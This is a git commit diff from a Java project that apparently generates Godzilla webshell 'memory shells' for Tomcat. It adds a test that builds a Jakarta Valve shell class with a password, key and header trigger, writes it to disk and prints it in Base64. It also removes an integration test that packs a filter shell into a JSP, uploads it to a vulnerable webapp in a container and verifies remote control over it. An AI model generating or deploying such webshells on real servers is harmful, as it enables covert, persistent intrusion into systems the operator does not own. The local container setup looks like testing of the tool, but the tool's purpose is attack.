feat: support bypassJdkModule and Jakarta

This commit is contained in:
ReaJason
2024-11-29 02:02:04 +08:00
parent b6c881c5cb
commit 886d808f31
40 changed files with 1167 additions and 686 deletions
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -2,10 +2,15 @@ package com.reajason.javaweb.memsell.tomcat.godzilla;
import com.reajason.javaweb.memsell.GodzillaGenerator;
import com.reajason.javaweb.util.ClassUtils;
import lombok.SneakyThrows;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.codec.binary.Base64;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
@@ -29,4 +34,19 @@ class GodzillaValveTest {
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
System.out.println(Base64.encodeBase64String(bytes));
}
@Test
@SneakyThrows
void generateJakarta() {
String className = "org.apache.utils.CommonJakartaValve";
byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue, true, Opcodes.V11, false);
Files.write(Paths.get(className + ".class"), bytes);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName());
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
System.out.println(Base64.encodeBase64String(bytes));
}
}
@@ -1,113 +0,0 @@
package com.reajason.javaweb.memsell.tomcat.godzilla;
import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.config.GodzillaShellConfig;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.godzilla.GodzillaManager;
import com.reajason.javaweb.memsell.packer.JspPacker;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import lombok.SneakyThrows;
import okhttp3.*;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.utility.MountableFile;
import java.io.IOException;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.stream.Stream;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class TomcatGodzillaIntegrationTest {
OkHttpClient client = new OkHttpClient();
@TestFactory
Stream<DynamicTest> testContainerDeployments() {
return Stream.of(
createCustomContainerTest("tomcat:8-jre8"),
createCustomContainerTest("tomcat:9-jre8")
);
}
@SuppressWarnings("all")
private DynamicTest createCustomContainerTest(String imageName) {
Path warPath = Paths.get("../vul-webapp/build/libs/vul-webapp.war").toAbsolutePath();
return DynamicTest.dynamicTest("Test " + imageName, () -> {
try (GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(MountableFile.forHostPath(warPath), "/usr/local/tomcat/webapps/app.war")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080)) {
container.start();
String host = container.getHost();
int port = container.getMappedPort(8080);
String url = "http://" + host + ":" + port + "/app";
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
.pass("pass123").key("key123")
.headerName("User-Agent").headerValue("hello_integration_test")
.build();
String jspContent = generateGodzillaFilterJsp(shellConfig);
String filename = "shell.jsp";
uploadJspFileToServer(url + "/upload", filename, jspContent);
verifyContainerResponse(url + "/" + filename);
testGodzillaIsOk(url + "/" + filename, shellConfig);
}
});
}
private String generateGodzillaFilterJsp(GodzillaShellConfig config) {
Server server = Server.TOMCAT;
ShellTool shellTool = ShellTool.Godzilla;
String shellType = TomcatShell.FILTER;
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config);
JspPacker jspPacker = new JspPacker();
return new String(jspPacker.pack(generateResult));
}
private void verifyContainerResponse(String url) throws IOException {
Request request = new Request.Builder()
.url(url).build();
try (Response response = client.newCall(request).execute()) {
assertEquals(200, response.code());
}
}
@SneakyThrows
private void uploadJspFileToServer(String uploadUrl, String filename, String fileContent) {
RequestBody fileRequestBody = RequestBody.create(fileContent, MediaType.parse("text/plain"));
MultipartBody requestBody = new MultipartBody.Builder()
.setType(MultipartBody.FORM)
.addFormDataPart("file", filename, fileRequestBody)
.build();
Request request = new Request.Builder()
.url(uploadUrl).post(requestBody)
.build();
try (Response response = client.newCall(request).execute()) {
assertEquals(200, response.code());
}
}
private void testGodzillaIsOk(String entrypoint, GodzillaShellConfig shellConfig) {
try (GodzillaManager godzillaManager = GodzillaManager.builder()
.entrypoint(entrypoint)
.pass(shellConfig.getPass())
.key(shellConfig.getKey())
.header(shellConfig.getHeaderName(), shellConfig.getHeaderValue()).build()) {
assertTrue(godzillaManager.start());
assertTrue(godzillaManager.test());
} catch (IOException e) {
e.printStackTrace();
}
}
}